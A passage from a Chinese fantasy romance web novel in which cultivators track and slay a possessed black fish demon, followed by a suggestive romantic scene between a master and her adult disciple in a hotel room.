龙璇玑字正腔圆:“傅道友是我们的大功臣,没有你我们真的要完蛋了。” 几人瞳孔地震:“你不要什么都学啊!” 龙璇玑被三人提高的声音吓了一跳:“好、好的。” 扶鸾在边上自言自语:“它到底是什么?” 穆若水黑色口罩下的唇角浅浅地勾了勾。 她一抬眼,刚好又对上傅清微看过来的眼神,傅清微冲她弯了弯眼睛。 被她的手捧过的脸颊有血液升温的热度,口罩一侧的耳根呈现出异于雪白肌肤的浅粉。 穆若水薄唇抿了抿。 湖边的泥土里有刚刚那只怪物踏上来的脚印,足足有50公分,越到后面脚印越淡,到石子路上消失了。 水库外路径开阔,四通八达,没有监控,仅凭排查,就算有警方的人相助,这一大块地方找也要找几个小时,等追踪到妖怪,黄花菜都凉了,人也得凉了。 再说凡事都让警方出马,灵管局派她们来做什么?给警方打下手岂不是更好? 既然她们是修行者,自有玄门的追踪方法。 肖灵秀取了那片刚从妖怪身上掉下来的鱼鳞,妖气还很浓郁,放在脚印消失的地方,又从背包里拿出三支线香。 肖灵秀想了想,问傅清微道:“傅道友,罗盘借我一用。” 傅清微连忙将罗盘递给她。 肖灵秀不忘夸她:“傅道友真乃大功臣。” 傅清微被夸麻了:“你快着点儿吧。” 肖灵秀嘿嘿一笑,下一秒表情切换得猝不及防,傅清微都没反应过来。 肖灵秀点燃三支香,虔诚地拜了三拜,神情庄严肃穆,口中念念有词:“阁皂派弟子肖灵秀,今日在此斩妖除魔,维护人间太平,诚请天上地下神仙地祇、四海八方过路生灵指引迷津,告知妖邪去向。” 她手一松,三支线香稳稳插进石子间的缝隙,不可思议地立在原地。 线香的白雾不偏不倚,扶摇直上。 肖灵秀双手结印,不断地念着咒语。 “五丁都司,七政八灵。各行其道,助吾寻妖,显!” 静止不动的罗盘指针开始转动,一会儿往左,一会儿往右,受到磁场的影响不断拉扯,最终战胜了原本磁场的力量,朝一个方向慢慢地偏移。 肖灵秀结内狮子印,两手食指指向罗盘,额头已沁出细汗,语速缓慢但坚决。 “显、显、显……” 她不断地重复这个字。 傅清微大气都不敢出一口,攥住了师尊的衣袖。 肖灵秀一连念了十几次,额头的汗水越来越多,而罗盘转动的指针速度也越来越慢,来回颤动。 “邪精速现!” 一声令下,指针定格。 肖灵秀抬袖抹去额头的汗水,对前方的空气说了声“多谢”,才定睛看向罗盘的指向,说:“往东北方去了。” 傅清微这才长舒了一口气。 她发觉自己握住穆若水袖子的手太用力,不小心抓到了她的腕部,她撩开衣袖看了看,表面的皮肤都被她抓红了。 她也是又胆大包天了一回。 师尊好白啊。 穆若水不怕痛,她也不好当着众人的面给她吹吹。 傅清微的手顺势滑进她的衣袖里,用温热的五指包裹住女人冰凉的手腕。 穆若水的眉梢不由自主地动了动。 肖灵秀将鱼鳞收起来,罗盘交回傅清微手里,道:“物归原主,劳烦傅道友看着方向。” 公羊荪几人见她这一手寻踪本事,不免心生佩服。 虽说阁皂派已没落,到底是千年宗门,底蕴悠久。 傅清微也羡慕得紧,落在队尾小声对穆若水说:“师尊,我也想学这个。” 穆若水说:“回头教你。” 傅清微高兴地牵住了她的手。 白术接到电话赶来当司机,顺便给众人带来了午饭,龙璇玑虽是妖,但在清净派过了几十年,和人类的习惯无异,平时也会进食,所以一众人都在狼吞虎咽地吃饭,只有穆若水蹲在树下陪猫玩。 湖里的妖怪解决了,小三花在湖边跑来跑去地热闹,掏出爪子玩水,打湿了又坐在地上舔,惬意地晒太阳。 其余人看着都露出笑容。 现在是青天白日,妖怪不会害人,估计会躲藏到夜晚出来,众人吃饱喝足才有力气准备接下来的战斗。 中午一点,傅清微一行上了七座商务车。 白术在前方静静地开车,龙璇玑坐在副驾驶,双手捧着傅清微的罗盘。 得有一个人在前方指路,傅清微不能和穆若水分开,扶鸾要补觉,肖灵秀和公羊荪要和她们讨论事情,只好由璇玑代劳。 龙璇玑抬手,说:“往这个方向。” 白术偏头看了看她手里古朴的罗盘,对灵管局的感受又真实了一些。 身后传来车内几人的讨论声,都是神秘学领域。 傅清微把从穆若水那里听来的隐去来源:“那团黑雾会不会是妖魔?” 肖灵秀和公羊荪:“啊?” 傅清微也一知半解,企图互相提问解惑:“比如说这只妖,不知道为什么入魔了,所以才会作乱。” 肖灵秀摊手:“有道理,但是世间已很久没有魔物了呀。” 轮到傅清微:“啊?” 她看了眼师尊,穆若水不置可否。 总算明白了,小笨蛋。 三个臭皮匠聚齐,诸葛亮应运而生,公羊荪说:“我倒是听过一个说法。据说魔擅长蛊惑人心,对妖心估计也是一样,上午它用红色眼睛看我们俩的时候,耳朵里出现的许多声音,会不会就是蛊惑的一种?” 肖灵秀:“像是像,但妖魔就这样水灵灵地出现了?挺不可思议的。” 傅清微举手。 肖灵秀&公羊荪:“……”看出是学生了。 穆若水慢了一步将她的手压下来,干脆扣在掌中,十指相扣,不让她再有下一次。 傅清微放下手提问:“魔究竟是什么?为什么有时候单独称魔,有时候叫妖魔。” 不知者无畏,她仍然不明白魔物现世意味着什么。 其他几位年轻人显然也差不多,初生牛犊不怕虎,就算真的是妖魔,现在她们也正在伏魔的路上。 公羊荪和肖灵秀互视一眼:“这个问题怎么回答呢?我不会说话,肖道友你来吧。” 肖灵秀清清嗓子:“首先我申明,我也不是很懂。然后我要回答了,根据记载,魔是一种物种,生来就是魔的力量强大,无需修炼,便能使用炁。不像人类,我们要勤于修行,加上天赋,才能修炼出灵气。” “还有一种后天成魔的,比如人坠入魔道,叫人魔,不过这个称呼很少用,邪魔外道用的比较多。妖坠入魔道,称妖魔。鬼、精、怪,一念之差,都有可能成魔。成了魔就必须除掉,否则祸害无穷。” 傅清微:“可不可以理解为,除开先天的魔不论,魔是不可逆的进阶形态。” 肖灵秀听得一愣一愣的。 傅清微:“意思就是,妖进化成妖魔,但妖魔不会降格到妖。一旦入魔就无法挽回了。” 肖灵秀理解了:“好像是这个道理,进阶?有点意思。” 傅清微自言自语:“那对人类来说,魔确实不是什么好东西。” 如果低智的妖魔都这么厉害,那高阶的妖魔又会是多大的祸患?会不会早就隐藏在人群里? 傅清微的手突然被捏了一下。 她冲穆若水做了个口型:怎么了? 穆若水戴着口罩,她看不到她说话,只能感觉到自己的指缝被她探入,每根手指都被夹紧捏了一遍。 傅清微:“……” 按理说这时候她不该心猿意马,可是上午师尊还亲她的嘴唇了。 很难不回忆。 这好像是她的初吻。 不是好像,就是她的初吻。 肖灵秀挠头:“但是多年前结束战乱,进入前所未有的和平盛世后,妖都很少见,魔更是被陆续清理得干干净净,如果是真的,我们得上报吧。傅道友,你怎么脸红了?” “车里有点热。” 傅清微肃清绮思,说:“但我们谁都没有见过魔的样子,只是猜测。” 肖灵秀开了侧边的车窗,道:“先除掉再上报吧,就算是妖魔,它也不是很厉害的那种。我们有六、五、四个人,还斗不过它?” 公羊荪:“哈哈哈。” 傅清微也笑了笑。 龙璇玑从副驾驶回过头,露出洁白牙齿。 唯一能打的四个人都在这了。 扶鸾今天是不行了,穆若水秉承一贯原则袖手旁观。她一出手,不出三秒,任务当场结束。 七座商务车在郊区的道路上行驶着,后座的几人也安静下来,闭目养神。 傅清微靠在穆若水的怀里,一只手牵着她的手,抚摸她光滑的手背。时不时的仰脸看一下她,试图从她的口罩下看出她嘴唇的形状。 她变了。 她下贱。 明明师尊给她渡气是为了救她,她却在这里肖想一亲师尊的芳泽。 但是都怪她的记忆太清晰,水里那一次就算了,浮到水面后,穆若水又给她渡了两次气。 傅清微当时都不敢睁眼,差点就回应她了。 她怕被当场丢进水里,一直闭眼到了岸上,后来才昏过去。 师尊的嘴唇好软,花瓣一样,原来和女人接吻是这种感觉,明明还没开始,她却已经上了瘾。 这辈子亲不到师尊活着还有什么意义? 穆若水低头,傅清微越靠她越近,几乎整个人都躺进了她的怀里,软成一摊水,脸颊也泛着热出来的浅粉。 穆若水皱起眉头。 傅清微坐正了一些,枕着她的肩膀合上眼睛。 穆若水:“……” 她是想说,实在想睡可以枕在她腿上。 傅清微睡了,改成穆若水百无聊赖把玩她修长的手指。 车内气氛一片宁静。 一个小时后,龙璇玑的声音打破了寂静:“到了。” 除了扶鸾,众人齐齐睁眼,看向车窗外。 七座商务车停在了一片厂房外,肖灵秀第二个下车,看着罗盘上轻轻颤动的指针,指向前方的仓库。 “竟然没躲进水域里?” “可能想反其道而行之。”随后下车的傅清微接话道,“所以躲进了厂房,而不是水域。” 公羊荪想第四个下车,被穆若水抢了先,慢了十几秒出来,补充最后一句:“它应该想不到肖道友会追踪术法,否则不会到这里来。” 几人远远地打量了厂房环境,不约而同地露出兴奋的笑容。 怎么说呢?太适合瓮中捉鳖了。 白天有工人在工作,白术联系了老板让他把下班时间提前到五点半,所有人务必在六点前离开,尽量在不打草惊蛇的情况下疏散群众。 妖怪又没上过班,无论如何也察觉不出异样。 当天日落时间七点一刻,六点钟众人在厂房外的车上吃好了饭,确认罗盘指针没有改变过方向,开始规划具体行动。 日光被地平线一点一点地蚕食,吞噬完毕后,整个天幕黑了下来。 一只鸟雀停在漆黑的电线杆上,身后是初升的弦月,好在星星足够明亮,照清厂房的地面和仓库的门口。 仓库里。 地上已经积了一大摊水迹。 滴答、滴答—— 从黑色斗篷里渗透出来。 它虽然成精三百年,但在湖底从来没有出来过,化成的人形也和它见过的人类不是一个样子。它盘踞在湖水里,每年都会有踏春的人到湖边露营,郊游。 它大部分时间在沉睡和修行,作为一条黑鱼,它是湖里唯一成精的妖怪,其他的同类都蠢笨不堪,朝生暮死。它是天道所钟!那道声音也是这么告诉它的。 它既然是天道钟爱,为什么会屈居于湖底?为什么人类软弱无用,却拥有最适合修行的体质,妖修炼到最后还是要变成人,它的同类每年死在人类手里的不计其数,他们在湖边留下了无数的垃圾和臭味,它鄙夷的弱者,却享受了万物之灵的待遇。 凭什么?! 它在湖底睁开了眼睛,面前的一团黑雾也在和它一起质问:凭什么? 黑雾说的每一句话都是它的心声,它在日复一日的对话里越来越愤怒,越来越不甘,它吃下了第一个落水的儿童,它和黑雾融为了一体。 它变得更有力量了,也更藐视和摧残人类,它杀了第二、第三……第二十个人,孩子的肉最好吃,其次是女人,男人无用,只杀不吃。 它和黑雾彻底融合,猩红双眼睁开,杀戮的本能驱使,终于走上了岸,堂而皇之地犯下了第一例罪行。 却引来了灵管局的人。 它是一条鱼,即使成精三百年,也不能离水太久,它打算从仓库出去以后,随手杀几个,把一路见到的人都杀掉,然后回到水里休养生息。 滴答—— 滴答—— 黑色斗篷里渗出来的水已经蔓延了半个仓库地面。 它透过窗户看到天边高悬的弦月,已经亥时了。 它决定现在出去,看看这一路谁会幸运地落入它的口中,分泌的唾液从数排牙齿里流出来,连同水一起滴落在地。 仓库的门缓缓从里打开,身高两米五、一身黑色斗篷从头包裹到脚的妖怪走了出来,浑身都在往下淌水。 太幸运啦,门口就有六个女人。 不幸的是,她们长得有点眼熟。 斗篷里,脖子上方,原本盛放脑袋的地方是一团黑雾,黑雾没有五官,那张脸上却仿佛出现了茫然的神情。 六个人抬手一扣,整齐地戴上夜视墨镜。 “好久不见啊小黑。” 第86章 “好久不见啊小黑。” 肖灵秀说了第一句开场白。 傅清微&公羊荪向它招手:“嗨。” 小黑掉头就跑。 它也不傻, 知道不能往仓库里面跑,于是往左边迅速冲去,公羊荪的长鞭先它一步赶到, 凌厉的破空之声从前方袭来, 黑雾再快一步就要被抽断脖子。 它改道向右, 傅清微早已等在那里,指间符箓往地上一贴, 原地拔起三米高的炽热火墙。 差点把小黑斗篷给燎了。 小黑一不做二不休, 直接正面迎上了肖灵秀。 “不要小看我啊。” 肖灵秀也是符剑双修,抬手挥出三道剑气, 分三路封住它的去向, 左手掷出一道符箓,剑气和符火先后而至,打中了小黑的胸口。 避祟驱邪的符火落到它身上并没有烧起来, 而是很快被扑灭, 虽然传来焦味,但并未对它造成太大影响。 鞭风自身后刮来,抽裂地面的长鞭抽在小黑身上仅仅让它踉跄了半步, 接着回身,黑雾狞笑,庞大的黑色身躯骤然朝公羊荪扑了上去。 傅清微抽出长剑,和肖灵秀一起加入了战局。 龙璇玑左右环顾, 紧张地盯着,随时准备支援。 扶鸾往回跑了几步, 见穆若水站在不远处, 垂手而立,明智地站到了她的后面。 ——没有比这更安全的地方了。 扶鸾悄悄探出半个脑袋观战。 如果要打两个小时的话, 她今晚还能发挥作用。 穆若水摘下脸上的夜视墨镜。 她心说:幼稚。 三个人第一次配合战斗,比起单打独斗,却并没有发挥“1+1+1>3”的效果,公羊荪的鞭子擅长中远距离攻击,肖灵秀的剑法最好,傅清微因为剑术不到家,目前阶段喜欢声东击西,配合步法出其不意。 三人一妖混战成一团,公羊荪一鞭子劲风抽过来,她正面的小黑变成了肖灵秀的背影。 公羊荪性情温和,也不由得大喊了一句:“快闪开!” 肖灵秀听见后脑的破空声,就地一滚,惊险地躲开了鞭子,有她这段缓冲,长鞭不仅没抽中小黑,还让包围圈出现了一个缺口,肖灵秀急道:“快!” 傅清微在另一侧,顾不得地表水泥粗粝,单手一撑膝盖贴着地面滑铲过去,长剑同时一挥,刚好拖住小黑逃走的去势。 鞭影立刻补上了缺口。 肖灵秀点燃了符箓,用剑气弹射过去,傅清微的脸又意外地出现在了她的视线里。 肖灵秀陡然色变:“傅道友!” 公羊荪:“低下!” 傅清微刚站起来的身子立马跪了下去,符火从她的头顶飞掠过去,膝盖重重砸地传来剧痛,雪上加霜,差点儿没站起来。 穆若水的脚步立刻往前挪动了半寸。 到底忍住了上前的冲动。 “……” 这三个人分则各自闪耀,合则互拖后腿,一塌糊涂。 灵管局要完了。 小黑要不是不会说话,它现在已经出声嘲笑了,黑雾趁机从东南方奔去,双脚却被地上伸出来的桃枝绊住,重新落进三人的包围圈中。 肖灵秀:“还好有璇玑!璇玑我爱你!” 公羊荪:“都什么时候了还表白?!” 傅清微:“不要打我!好痛啊!” 龙璇玑:“你们不要再吵了!” 扶鸾:“……” 我们灵管局要完了。 有龙璇玑的辅助和束缚法术,互相扯对方后腿的三人经历了最初的磨合,终于摸到了合作的窍门,一个眼神就知道队友的攻击会从哪个方向来,互相配合。 鞭影舞得密不透风,剑光如同星芒在其中闪烁,不时击中黑色斗篷的身影。 傅清微游击机动位,指间不断掷出符火,时而用长剑补刀。 黑雾不知道中了多少攻击,但不论是鞭子还是长剑,哪怕是符箓,都收效寥寥,反而它一掌接一掌拍出,越战越勇,黑气、剑气和罡风刮得土石砸落,地面一片狼藉,尘土飞扬。 黑雾从鞭影和剑光中突围而出,一掌拍在了距离最近的肖灵秀肩膀上。 肖灵秀倒飞出去,被公羊荪的软鞭卷住腰肢拉了回来,踉跄地稳住身形。 “没事吧?” “没事。”肖灵秀左臂垂下一动不动,还好不是伤了拿剑的右手。 龙璇玑用束缚法术拖延了黑雾两秒,二人重新加入战局。 这怪物的肉身强度她们已经有所准备,但现实还是超出了想象,尚未完全化形的黑鱼怎么会这么厉害? 难道和它包裹的黑雾有关?至今她们都没能击穿这层黑雾。 傅清微向二人递了一个眼神,悄悄退出了战局,龙璇玑用桃枝暂代了机动位。 厂房的仓库高度三米左右,和傅清微之前做动捕武戏爬的绿箱子差不多高,墙边有一个半米多高的货物箱。 傅清微向后退了一段距离,开始助跑,一脚蹬在货箱上,彷如白鹤张开翅膀,身体在腾空而起的同时凭借腰腹的力量一荡,获得向上的力,一把抓住了仓库边缘,动作极快地攀了上去。 仓库的铁皮屋顶上传来快速跑动的声响,傅清微一手取符念咒,贴在长剑上,从怪物的头顶一跃而下,身体在月色下拉得像一张饱满的弓。 “闪开!” 肖灵秀和公羊荪默契地飞速退后。 妖怪闻头顶风声躲开已来不及,燃着熊熊烈火的长剑劈入了黑雾的肩膀,下落的惯性带得长剑的力量势如破竹,从右肩一直划穿到左腹,几乎将它一劈两半。 原本浓稠的黑雾在火焰和深可见骨的伤口下缓缓地裂开了一条缝隙。 傅清微干脆利落地抽剑,顺着缝隙刺进去,穿腹而出,剑尖滴出鲜红的血。 果然如此! 只有刺穿黑雾才能真正伤到它! 龙璇玑眼前一亮。 扶鸾:“……这也太帅了吧。” 她不自觉探出的身体多了些,挡住了穆若水的视线,被拎到后头。 肖灵秀和公羊荪瞧见亦是大喜,公羊荪的长鞭更适合牵制,她主力负责缠住黑雾,肖灵秀学傅清微的法子如法炮制,两人很快轮番制造出了更多的伤口。 地上积了一摊的鲜血。 黑雾底下的黑鱼精嘶声哀鸣。 听得初出茅庐的三人心生不忍,但它已入魔,又害了几十条性命,今日不除掉,将来只会害更多的人。 黑鱼精伤痕累累,一声比一声哀戚。 围攻它的三人不由想起了很多伤心事。 人生不如意十之八九,肖灵秀想到这次下山以后再也不能自在地回去摸鱼了,至少要当二十年卷王,真是不如死了算了。 公羊荪小时候被生身母父遗弃,是被捡回终南山的。 傅清微的身世比她更凄惨一点,但她现在主要伤心亲不到师尊的嘴。 三人各有各的伤心事,哀哀切切地想了一会儿才觉得不对劲,大敌当前,自己怎么会伤春悲秋地想这些? 再定睛一瞧,黑雾的伤口正在愈合。 但凡她们再多分心一会儿,好家伙,刚刚的一切白干。 三人:“……” 原来声音也是蛊惑。 好你个小黑,花招不少。 黑雾似乎有极强的修复能力,浓黑翻滚之下,傅清微劈下的第一道伤口已经完全愈合,原本的缝隙也不见了。后来陆续添上的新伤也愈合得七七八八,幸好三人已有了防备,没再中它的花招,配合越发熟练,重新分割开了黑雾,攻势越发猛烈。 鞭影裹挟罡风,每一次都精准无比地抽向黑雾的裂缝,将它抽得越发溃散,步步败退,几乎聚不了形。 傅清微和肖灵秀从黑雾的背后掠过去,长剑分别从左右刺中了腰腹和心脏,后心入,红色剑尖从身前透出。 剑锋抽出来的时候,带出了一片喷薄的血迹。 黑鱼精定格了两秒,轰然倒地。 它脖子以上的五官仍然是一团浓稠的黑雾,深不见底,像一个旋转的黑色漩涡,透着不祥的气息。 傅清微几人戴着夜视墨镜,也不敢贸然细看,它的猩红眼睛还一次都没有睁开过呢。 肖灵秀:“怎么办?” 公羊荪:“好像是黑鱼精死了,但黑雾还在。” 傅清微看着地上那团依然缠绕在妖怪身上的黑雾:“烧了吧,或者引道天雷给劈了。” 肖灵秀:“好,就这么办。” 话音刚落,异变陡生,原本还包裹着二米五身躯的黑雾迅速缩成人头大小,如离弦之箭朝三人站立的缺口冲了出去。 它本来想留下来趁机继续蛊惑其他人,换一副更好的身体,这几人个个都不错,比没脑子的黑鱼精好多了。 但这些人要把它劈了! 此时不逃,更待何时?! 三人不知道黑雾能独立存在,随意变换形态大小,即便知晓,事出突然她们也来不及阻止了。 几乎可以确定,黑鱼精的作乱和黑雾密不可分,说不定它才是罪魁祸首。 糟了。 不能让它逃走! 三人同时浮上这个念头。 傅清微第一时间朝穆若水投去目光,焦急出声: “师尊——” 穆若水正等她这句话,甚至有心思朝她微微笑了一下,方消失在原地。 穆若水来到黑雾逃离的空地,伸手凌空一抓,黑雾被她拘在掌中,如同落入五指山的孙悟空动弹不得。 穆若水的五指松开了一点。 好险,差点直接弄死了。 黑雾试图自救:“我可以帮你实现你的愿望,只要你……” 穆若水:“你也配和我说话?” 黑雾:“我以后都听你的。” 穆若水:“不想死得更惨就闭嘴,乖乖回去领死。” 黑雾:“……” 不出半分钟,穆若水重新出现在众人面前,跟扔破烂似的把黑雾往地上一扔,傅清微和肖灵秀点燃符箓,符火落在黑雾上,瞬间火焰助长,吞噬得干干净净。 肖灵秀砸吧嘴:“怎么感觉它一点求生欲望都没有了?就这么烧没了?” 公羊荪捂着耳朵:“原来它也是会惨叫的,叫得我脑仁疼。” 傅清微沉思:“离开了宿体的黑雾似乎不堪一击。” 刚刚她们那么费力地和黑鱼精缠斗,符火、剑气都只能打伤皮肉,只有撕开黑雾才能真正杀死它,为此三人都受了不大不小的伤。 而黑鱼精一死,黑雾只需要一道符火就可以消灭,就像普通的邪祟。 它到底是什么?一种寄生邪祟? 黑鱼精到底是不是魔? 不管怎么说,总算圆满完成任务了。 傅清微落下心头大石,才发觉自己腿上凉飕飕的,刚刚先是一个滑铲后来没少在地上打滚,一条裤腿布料拉丝,变成褴褛的布条条了。 后知后觉,膝盖也好痛。 穆若水扶住了她的胳膊,伸手去捞她的膝弯,就要将她抱起来。 傅清微连忙小声阻止:“别……” 穆若水:“?” 傅清微耳根发热:“回、回去再……” 她还没有大胆到当着众人的面被公主抱。 穆若水退而求其次地圈住了她的腰,傅清微依偎在她怀里。 回过头看到这幕的众人:“……” 默默将脸又转了回去。 黑鱼精的尸体倒在地上,足足有两米多的大黑鱼原形,可惜不能吃火锅。 肖灵秀提议道:“我们拍张合照吧,纪念第一次出任务。” 公羊荪说:“谁来拍?” 龙璇玑摆弄她的桃枝,试验了几次都不能拿住手机按拍照键。 扶鸾面露惭愧地站出来:“我来吧,毕竟今晚我都没有参与就结束了。” 肖灵秀:“这怎么行?缺了谁都不可以。” 傅清微一瘸一拐地被师尊扶着走过来,附和说:“肖道友说得对。” “别慌,咱外头有人。” 肖灵秀打了个电话给厂房门口守着的白术。 白术赶过来,见灵管局的几个年轻人里,除了戴着口罩和爱犯困的那位,年纪最小的脸脏了些,另外三位一个个泥土满身,大大小小的挂彩,衣服刮破了不说,连裤子都有磨烂了的。 地上布满打斗的痕迹,正对面的厂房仓库表面都是剑痕和鞭痕,水泥地面也有灼烧的焦黑,可以想象经历了多么艰难的战斗。 身为老刑警,她也不是完全看不出来,这些都是新人,没出过几次任务。 她们身后的黑鱼精被斩杀,虽然受了伤,但大家都很开心,是属于年轻人的意气风发。 白术接过肖灵秀的手机,给站在黑鱼精后方比耶的六人拍了一张合影,黑鱼精死得明明白白,作为荣誉勋章永远留在了画面里。 肖灵秀:“白副队,我们戴墨镜再来一张。” 穆若水:“……” 这种幼稚的东西,她绝不会再戴第二次。 傅清微:“师尊,你怎么了?” “没事。” 穆若水抬手扣上夜视墨镜。 六个人的合影里,龙璇玑和扶鸾站在中间,右边是肖灵秀和公羊荪,左边则是背着剑的傅清微,腰肢被一条手臂搂住,靠在穆若水的肩膀上。 所有人都笑得很灿烂,牙齿雪白,除了穆若水墨镜口罩像个误入秀场的大明星。 看到照片的大家爆笑。 被穆若水摘下墨镜后淡淡地扫了一眼,噤若寒蝉。 傅清微:“师尊气质真好。” 穆若水扬起眉毛。 众人:“……”还是你会顺毛,怪不得你是她徒弟呢。 傅清微:我说的是大实话呀。 傅清微把发到群里的照片保存下来,截了一份双人版合影,和原来的聊天背景轮换。 残局由灵管局的后勤来收拾,这条黑鱼她们要带回局里研究,众人在夜色里等了会儿,龙璇玑刚好趁这段时间给她们疗伤。一人一颗药丸喂下去,龙璇玑将手覆在肖灵秀受伤的左肩,一股暖意顺着她手掌散开,松开时便可以动了。 皮外伤该上药上药,该包扎包扎,包扎的活扶鸾接手了。 龙璇玑朝傅清微的方向看了一眼,有师娘在,她是派不上用场了。 傅清微的膝盖跪得淤青,又几次从房顶跳下来压迫到,现在靠在心上人怀里,娇气上来,觉得自己站都站不住了。 穆若水扶她在木箱上坐下,用祝由术治好了膝盖的外伤,问她:“还好吗?” 傅清微蹙着眉头:“还是痛。” 穆若水半蹲下来,给她在受伤的膝盖轻轻吹了吹。 傅清微愣住了。 穆若水:“还疼?” 傅清微:“不疼。”但是痒,痒到骨子里。 她改口说:“只有一点点疼。” 穆若水回想她从房顶跳下来砍劈黑鱼精的动作,剑刃的火焰倒映进她冷静的瞳孔里,抿了抿唇,说:“刚刚不是很能耍帅吗?” 傅清微:“我没有啊,还是你这样觉得?” 穆若水:“不自量力。” 傅清微耷拉下耳朵,蔫头蔫脑地应了一声。 “但是做得不错。” 穆若水低头最后在她膝盖吹了口气,直起身来。 傅清微惊喜地抬起头,穆若水已经走开了,没有让她看到自己的表情。 傅清微揉着自己酸疼的膝盖,心想今晚上真没白干。 穆若水的手机震了一下。 傅清微:【师尊,我的奖励呢?】 穆若水:【从未见过你这么爱要奖励的徒弟,天天要】 傅清微:【你现在见到了】 穆若水:【等你伤好了,想要什么奖励都补给你】 傅清微:【什么都行?】 穆若水:【当然】 灵管局的后勤人员在半小时后抵达,把黑鱼精的尸体装车运走,同时送上了局里的伤药,众人用不上但是都收下了,不拿白不拿。 几人仍然坐白术的七座商务车回城里,执行任务只有短短的两天时间,却像过了一个月那么久,车后坐了一半灰头土脸的人,白术给她们安排到酒店下榻休整。 肖灵秀按下开门键,在下车之前,对驾驶座的白术道:“记得给我们一个五星好评哦亲。” 白术笑了笑。 “一定。” 傅清微有自己的车,但她现在膝盖这个样子也开不了,和四人一起下了车,入住酒店,在前台把标间换成了大床房。 房卡一刷开门,她就被穆若水打横抱了起来。 身后走廊里的肖灵秀&公羊荪:“……” 房门在她们俩面前砰地关上。 肖灵秀低声催促说:“咱们快走。” 公羊荪被她带着往前走得飞快,问:“为什么?” 肖灵秀:“再不走就该听到不该听的了!” 公羊荪:“啊?” 一门之隔的豪华大床房内气氛火热——傅清微光着两条长腿,露得不能再露,坐在床沿,穆若水正在检查她腿上有没有别的伤口。 雪白光滑,别说伤口了,连痣都没有。 唯一的擦伤先前在厂房就治好了。 穆若水往她腿上盖了条毯子,却并不给她穿裤子。 傅清微:“……” 现在是怎么个流程?走到哪一步了? 傅清微:“师尊还要看其他地方吗?” 穆若水似乎在发呆。 “什么?” “没什么,我说我想去洗澡了,身上好多土。” “那你去吧。”穆若水把她装着随身衣物的背包丢给她。 “……” 师尊奇奇怪怪。 傅清微拿了换洗衣物,走进了浴室,实在太脏了她没空东想西想,热水直接从头淋了下来,舒服得她叹了一口气。 穆若水在房间里,将方才摸到傅清微的腿以后久久藏在心里的那口气也叹了出来。 她捻了捻自己接触过腿根滑腻肌肤的手指。 上一次趁她睡着的亲密接触里,穆若水都没有脱她的裤子。 这还是第一次探索到全新领域,虽然是为了看伤,理由正当,她碰到之前什么也没想,碰到之后,指腹短暂停留的片刻都足够反复回味。 她不确定是不是自己的渴求症状又发作了。 傅清微受伤了,她不该想这些,更不该想着怎么让她今天不穿裤子。 她是她的师尊。 穆若水困扰了几分钟,注意力被转移到喵喵叫的小三花身上,给她开了个罐头。 耳边的淋浴声响了很久。 穆若水也想了很久,傅清微光着腿的样子。 她坐在床沿,局促地想要并起,又面向她打开双膝,穆若水盯着中间瞧,傅清微把上衣的衣摆往下盖,大腿打开很快又夹紧,甚至有一次夹到了她的手。 穆若水指节抽动了一下,动不了,她说:“太紧了,放松。” 她的脸红得好快,没有任何缓冲,从脖子到耳根,脸颊粉得像熟透的水蜜桃。 穆若水分不清回忆这幅画面,是因为喜欢看到她的腿,还是喜欢她突然害羞的样子。 似乎是后者。 傅清微的脸出现在她脑海里比较多。 小三花把罐头舔得干干净净,傅清微还没有从淋浴间出来。 穆若水干脆去敲门。 傅清微洗了个头,所以今天洗澡尤其慢,她在身前围了条浴巾,听到敲门声没多想,就这么裹着白色浴巾开门,露出半边身子,湿漉漉的乌发披在身后。 “怎么了师尊?” “没事。” 浴巾的长度只够包裹住重点部位,胸口以下,大腿以上,其他的都被面前的女人收入眼底。 说着没事的穆若水没有离开门口,而是用目光从头到脚将她抚摸了一遍。 傅清微怀疑是自己看错了她的眼神,穆若水一只脚迈进了门里。 曾经在洗澡的时候无数次幻想她不请自入的傅清微慌了,现实追不上想象,第一时间竟然是关门。 她速度太慢,关门声响起来的时候,已经将穆若水和自己一起关进了门里,好像迫不及待和她共处一室似的。 傅清微:“……” 她还没准备好,救命! 傅清微紧紧捏着自己浴巾的胸口,生怕它会不小心掉下去。 穆若水来到她的身前,傅清微的后腰抵上了洗手台的台盆,冰冷坚硬,穆若水的手臂取代了生硬的触感,柔软地环在她的腰肢上,将她往自己怀里一带。 两个人的眼神都落进洗手台的镜子里。 傅清微看向镜子,穆若水贴在她腰际的手沿着紧致腰线下延,停留在曲线隆起处。 用力地捏了一下。 第87章 傅清微猝不及防, 沁了一滴出来。 她的腰肢跟着软了一下,整个人贴进穆若水的怀里,胸前的浴巾都快挂不住了。 “师、师尊。” 穆若水搂着她的腰, 垂眸看着她刚出浴的脸, 肌肤粉红, 一层淡淡的胜过水意的粉正在她的脸颊蔓延。 穆若水停在原处不动的手又捏了一下。 傅清微嗯了一声,顾不得抓浴巾了, 整副身体都要融化进她怀里, 心跳和呼吸都在喘。 好奇怪,师尊为何突然这样? 但是…… 师尊想对她做什么就可以做什么。 穆若水却抬起她的下巴, 不让她将脸藏起来, 细细端详她的表情。 一边继续,一边观察。 傅清微实在羞耻得受不了,想收紧肌肉怕师尊觉得手感不好, 以后就不碰她了, 但让她就这么放松任由她揉捏,镜子里她的手明晃晃地搭在她腰后那处,一张一弛。 傅清微如穆若水所愿的涨红了脸, 比在外面的时候更红,她的脸左右摇晃,挣开她钳住她下巴的手,坚持将脸埋进了她的颈窝, 滚烫的脸颊贴在冰凉的侧颈,隔着薄薄的皮肤浸热了身体内流动的血液。 她开始叫。 穆若水停了手, 隔着浴巾都能感觉到怀里这具身体的高温, 脸也是。 道貌岸然的女人说:“为师检验一下你的锻炼成果。” 正脸红气喘的傅清微:“什么?” 穆若水清了清嗓子:“身为师尊,检验徒弟的身体情况, 不是理所当然吗?” 傅清微:“……包括括约肌吗?” 轮到穆若水问:“什么?” 傅清微红着脸说:“没什么。” 她怎么跟花果山在逃母猴一样了? 穆若水心满意足地看到她害羞的样子,伸手替她掖好了浴巾,围紧的时候垂眸往深处瞧了一眼,垂手退后,说:“我先出去了,你继续洗。” “我洗完了。”傅清微说。 “那你就擦一擦。” “擦一擦什么?” “身上的水,滴下来了。” 穆若水打开门出去了,傅清微站在原地回味她说的那些话,做的事暂时不敢,免得又要进淋浴间。 傅清微抽了两张纸巾清理自己,又蹲下来看向瓷砖地面,真的滴下来了吗?她会不会听到滴下来的声音了?救命!女大学生没脸见人了! 还是指表面洗澡没擦干的水。 自己想多了? 师尊懂还是不懂? 师尊似懂非懂。 